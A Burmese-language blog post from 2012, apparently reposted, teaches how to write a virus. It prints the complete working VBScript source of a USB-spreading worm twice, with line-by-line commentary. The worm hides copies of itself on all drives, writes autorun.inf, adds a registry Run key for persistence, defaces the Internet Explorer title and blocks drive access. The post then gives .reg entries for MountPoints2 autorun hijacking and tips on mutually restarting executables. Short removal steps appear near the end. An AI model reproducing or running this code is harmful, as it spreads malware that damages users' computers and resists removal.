Tuesday, 22 May 2012

Virus ေရးမယ္…

ကၽြန္ေတာ့္ကို ေတာ္ေတာ္မ်ားမ်ားေမးတယ္ဗ်…. Virus ေရးတတ္လားတဲ့… ကၽြန္ေတာ္ကေတာ့ ေျပာတာေပါ့…ေရးတတ္တာေပါ့… ဘယ္လိုေရးလဲ လို႕ထပ္ေမးျပန္ေရာ… Window ရဲ႕ အားသာခ်က္ေတြက Window ရဲ႕ အားနည္းခ်က္ေတြပဲေလ… သူ႕မွာေပးထားတဲ့ Feature ေတြကေန တဆင့္ virus ကို အလုပ္လုပ္သြားရတယ္.. တနည္းအားျဖင့္ေျပာရင္ဗ်ာ… Virus ဆိုတာ windows ရဲ႕ အားနည္းခ်က္ကို အသံုးခ်သြားတာပဲ… Windows က လုပ္ခြင့္ေပးလို႕လုပ္လိုက္တာ… အဲဒါေၾကာင့္ ၾကိဳက္တဲ့ Programming နဲ႕ေရးရတယ္… Windows အေၾကာင္းနားလည္ရင္ျပီးေရာ…အဲလို ေျပာလိုက္ေတာ့.. သူတို႕ေတြလည္း မသိေတာ့ဘူး…ရႈပ္သြားေရာ… ကၽြန္ေတာ္လည္း ဘယ္လိုရွင္းျပရွင္းျပ Logic ပဲရွင္းျပႏိုင္တယ္… source code လိုက္ရွင္းျပဖို႕ အခြင့္မသာခဲ့ဘူးဗ်… အခု ကၽြန္ေတာ္ virus ေကာင္းေကာင္းေလးတစ္ခုရဲ႕ source code နဲ႕ တကြ ဒီမွာရွင္းျပေပးမလို႕… ဒီ source code က ကၽြန္ေတာ့္ဆီ ဝင္ထားတဲ့ virus တစ္ခုရဲ႕ source code ဗ်… ကၽြန္ေတာ္ေရးထားတာေတာ့ မဟုတ္ဘူး….

‘My name is Slow but sure V0.04
‘This is a virus
‘Don’t Save this file name as MS32DLL.dll.vbs and then don’t run

on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe MS32DLL.dll.vbs”

File autorun အတြက္ ေရးထားတာပါ…ေနာက္ပိုင္း text file အတြက္ အသံုးျပဳရန္ အတြက္ variable name အျဖစ္အသံုးျပဳထားတာပါ…

set fs = createobject(”Scripting.FileSystemObject”)

File System Object တစ္ခုကို create လုပ္လိုက္တာ….

set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)

do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop

ဒီအဆင့္ေတြကေတာ့ အခု run ေနတဲ့ File ကို ျပန္ဖတ္လိုက္တာေပါ့… ဘယ္လိုလည္းဆိုရင္ Script File တစ္ခုလုံးကို text file အျဖစ္စာတစ္ေၾကာင္းစီဖတ္ျပီး mysource ဆိုတဲ့ variable name ထဲမွာသြားသိမ္းထားတယ္… ဘာျဖစ္လို႕လည္းဆိုရင္ ဒီ script file ကိုပြားမလို႕ေပါ့…..

do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\MS32DLL.dll.vbs”)

ဒါကေတာ့ windows ရဲ႕ မူရင္း path ( C:\Windows ) ေအာက္မွာ MS32DLL.dll.vbs ဆိုတာကိုသြားစစ္ၾကည့္တာ….

tf.attributes = 32

ျပီးေတာ့ အဲဒီ File ရဲ႕ attributes ကို 32 ေပးလိုက္တာ…အဲဒီ File ကို Archive Properties ေျပာင္းလိုက္တာ…

set tf=fs.createtextfile(winpath & “\MS32DLL.dll.vbs”,2,true)
tf.write mysource
tf.close

အဲဒီ File ထဲမွာ မူရင္း MS32DLL.dll.vbs ကိုေရးထည့္လိုက္တာ… ကၽြန္ေတာ္တို႕ အစပိုင္းမွာ run ေနတဲ့ script file ကို mysource variable ထဲမွာသိမ္းထားခဲ့တယ္…အဲဒီဟာကို ေရးထည့္လိုက္တာ..

set tf = fs.getfile(winpath & “\MS32DLL.dll.vbs”)
tf.attributes = 39

ေရးျပီးသား File ကို attributes ထပ္ေျပာင္းလိုက္တာ… System, Archive, Read-only ,Hidden အျဖစ္ေျပာင္းလိုက္တာ…

for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\MS32DLL.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\MS32DLL.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\MS32DLL.dll.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next

Run ေနတဲ့ အခ်ိန္မွာ Drive ေတြကိုစစ္တယ္..ရိွသမွ် Drive ေတြထဲမွာ virus File ကိုသြားေရးတာ….MS32DLL.dll.vbs နဲ႕ autorun.inf file ကိုသြားေရးလိုက္တာ…

set rg = createobject(”WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,winpath&”\MS32DLL.dll.vbs”
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”Hacked by Godzilla”

windows registry မွာသြားေရးတာ…ဘာလုပ္ဖို႕လည္းဆိုရင္ Windows တက္တက္ခ်င္း Virus File run ဖို႕အတြက္ေပါ့…. တစ္ခုကေတာ့ ဒီ virus ကိုက္ခံထိထားေၾကာင္းသိဖို႕အတြက္ IE Title Bar မွာ Hack by Godzilla ဆိုျပီးေရးလိုက္တာ..

if check <> 1 then

Wscript.sleep 200000

ဒီေနရာမွာ ၾကိဳက္တာကိုေရးလို႕ရတာ…ကၽြန္ေတာ္ေျပာတာက ၾကိဳက္တဲ့ vbscript ကိုေရးလို႕ရတယ္လို႕ဆိုလိုတာ.. အခုဆိုရင္ ဒီ virus ေၾကာင့္ Drive က မပြင့္ေအာင္လုပ္ထားလိုက္တာ… Drive ဖြင့္ဖို႕ဆိုရင္ 200000 second ေလာက္ေစာင့္ရလိမ့္မယ္…

end if
loop while check<>0

ဒီဟာက virus ကို အျမဲအလုပ္လုပ္ဖို႕အတြက္ looping ပတ္ထားတာ…

set sd = createobject(”Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

အေၾကာင္းအမ်ဳိးမ်ဳိးေၾကာင့္ virus က looping က ထြက္ခဲ့သည္ျဖစ္ေသာ္.. Script မ run ခဲ့ဘူးဆိုရင္ explore.exe ကေနတဆင့္ run ခိုင္းလိုက္တာပါ….

ေအာက္ကဟာကေတာ့ အစအဆံုး ေရးထားတဲ့ code ပါ…

‘My nam
e is Slow but sure V0.04
‘This is a virus
‘Don’t Save this file name as MS32DLL.dll.vbs and then don’t run
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe MS32DLL.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\MS32DLL.dll.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\MS32DLL.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\MS32DLL.dll.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\MS32DLL.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\MS32DLL.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\MS32DLL.dll.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(”WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,winpath&”\MS32DLL.dll.vbs”
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”Hacked by Godzilla”
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>0
set sd = createobject(”Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

ဒီ virus ကိုဘာနဲ႕ပဲစစ္စ္ သူ႕ကို virus မွန္းမသိဘူး…ဘာျဖစ္လို႕လည္းဆို သူက script file ျဖစ္တဲ့အျပင္ Internal Name မပါဘူး… ေနာက္ျပီး File Attributes ကလည္း System, Archive, Read-only ,Hidden ျဖစ္ေနတယ္… ဘယ္လိုမွ ျမင္ရမွာ မဟုတ္ဘူး… ေနာက္ျပီး File ကို ဖ်က္ဖို႕ကလည္းမလြယ္ဘူးဗ်…. သူ႕ကို ႏိုင္တာကေတာ့ Win Rar ပဲ… Win Rar ကေန File ေတြကိုၾကည့္ရင္ အကုန္ျမင္ရတယ္… အကုန္ rename ေပးလို႕ရတယ္… Delete လုပ္လို႕ရတယ္ဗ်… ေနာက္တနည္းကေတာ့ Tool-> Folder Option -> View -> Hide protected operation system file ဆိုတာကို uncheck လုပ္လိုက္ရင္ေတာ့ အကုန္ျမင္ရပါမယ္… ဖ်က္လို႕လည္းရသြားပါမယ္…မွား မဖ်က္နဲ႕ေနာ္… autorun.inf ရယ္… MS32DLL.dll.vbs ရယ္ပဲ…

ဒီ Virus ကို ဖ်က္ခ်င္ရင္ေတာ့ Ctrl+Shift+ESC ကိုႏိွပ္… Process မွာ Wscript.exe ကိုရွာ… ရိွသမွ် Wscript.exe ေတြကို end process လုပ္… win rar ဖြင့္… C:\ D:\ ေနာက္ျပီး Flash Drive တို႕ေအာက္ေတြကို Win Rar နဲ႕ၾကည့္…ျပီးရင္ MS32DLL.dll.vbs နဲ႕ autorun.inf ကို ဖ်က္လိုက္… ျပီးရင္ run ကိုသြား… regedit လို႕ရိုက္လိုက္… MS32DLL.dl.vbs ကိုရွာ… ေတြ႕ရင္ ဖ်က္လုိက္….

ဒီေလာက္ဆိုရင္ေတာ့ virus ေရးရတာ မခက္မွန္းသိေလာက္ျပီထင္တယ္… virus ေရးလို႕အေကာင္းဆံုးကေတာ့ VB script နဲ႕ေရးရတာပဲ… programming နဲ႕ေရးခ်င္လည္းရတယ္… windows အေၾကာင္းနားလည္ဖို႕ရယ္… ကိုယ္ေရးမယ့္ programming language မွာ File System ပိုင္းက ေကာင္းေကာင္းေရးတတ္ဖို႕လိုတယ္.. ေနာက္ျပီး Virus EXE အျပင္ အဲဒီ File ကို user က သိသြားရင္ ျပန္ျပီး create လုပ္ျပီး run ခိုင္းဖို႕ exe ေတာ့လိုတယ္.. တနည္းအားျဖင့္ေျပာရင္ Virus EXE နဲ႕ support ေပးတဲ့ exe က တစ္ခုပိတ္လိုက္တာနဲ႕ ျပန္ပြင့္ေပးေအာင္လုပ္ေပးရလိမ့္မယ္.. support exe ပိတ္ရင္ virus exe ကျပန္ဖြင့္… virus exe ပိတ္ရင္ support exe က ျပန္ဖြင့္ဖို႕ေပါ့.. ေနာက္တစ္ခုလိုတာကေတာ့ C: drive D: drive တို႕အတြက္ auto run file ပဲ… သူ႕ကို ဘယ္လိုေရးရလည္းဆိုရင္ ေတာ့ ကိုယ့္ကၽြမ္းက်င္ရာ programming language မွာ registery ပိုင္းကိုေရးတတ္ဖို႕လိုတယ္.. ကၽြန္ေတာ္ကေတာ့ ရိုးရိုး .reg file မွာေရးတဲ့ text ကိုျပပါမယ္…

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{9f6656ed-8a32-11db-a7d8-806d6172696f}\Shell\AutoRun\command]
@=”C:\\testvirus.exe”

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{9f6656ee-8a32-11db-a7d8-806d6172696f}\Shell\AutoRun\command]
@=”C:\\testvirus.exe”

အဲဒါကိုတာ run လုိက္ရင္ C: ေရာ D: ေရာမွာပါ ဖြင့္လိုက္ရင္ C:\testvirus.exe ကိုပဲ run ေနပါလိမ့္မယ္…. C:\ D:\ တို႕ကို My Computer ကေန ဖြင့္လို႕မရေတာ့ဘူး… Windows Explorer ကေနပဲဖြင့္လို႕ရလိမ့္မယ္…

ကိုယ့္ virus က Drive ေတြကို အကုန္လံုးရဲ႕ autorun မွာ အလုပ္လုပ္ခ်င္ရင္ေတာ့ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\ ေအာက္မွာရိွတဲ့ {….} Folder ေတြအားလံုးကို အေပၚမွာ ျပထားတဲ့အတိုင္း ေရးလိုက္ရံုပါပဲ…အေပၚမွာကေတာ့ C:\ D:\ အတြက္ပဲျပထားတာပါ…အဲဒီ အပိုင္းက ကိုယ့္ programming ကၽြမ္းက်င္မႈအပိုင္းနဲ႕ေတာ့ဆိုင္ပါတယ္..

CD Drive နဲ႕ Flash Drive အတြက္ဆိုရင္ေတာ့ autorun file ေရးထားရင္ရပါတယ္…

[autorun]
Open=testvirus.exe

ဆိုျပီး autorun.inf နဲ႕သိမ္း file နဲ႕ေနရာအတူတူမွာ testvirus.exe ကိုထား…အဲဒါဆိုရင္ အေခြထည့္လိုက္တာနဲ႕ program က အလုပ္လုပ္ပါျပီ….

အေပၚက VBScipt ဆိုရင္ေတ
ာ့ အဲဒီ registry ပိုင္းကို အလိုအေလွ်ာက္လုပ္ေပးတယ္…ဘာေၾကာင့္လည္းဆို windows စစျခင္းမွာ wscript.exe ကို explorer.exe \e,\select နဲ႕ run လုိက္တာေၾကာင့္ပါ… အေပၚက code ကို MS32DLL.dll.vbs နဲ႕ save လုပ္ run… ျပီးရင္ စက္ကို restart ခ်လိုက္….ျပီးရင္ Drive မွန္သမွ်၀င္လို႕မရေတာ့တာကိုေတြ႕ရပါလိမ့္မယ္…

ဒီေလာက္ဆိုရင္ေတာ့ virus ဆိုတာဘယ္လိုေရးလဲဆိုတာသိေလာက္ျပီလို႕ထင္ပါတယ္…
ကုိယ့္ေပ်ာ္ရႊင္မႈေၾကာင့္ သူတစ္ပါး စိတ္မဆင္းရဲရပါေစနဲ႕လို႕ ဆုေတာင္းေပးလိုက္ပါတယ္….

ကိုေစတန္ေဂါ႕ဘေလာခ္႕ မွကူးယူေဖာ္ျပသည္။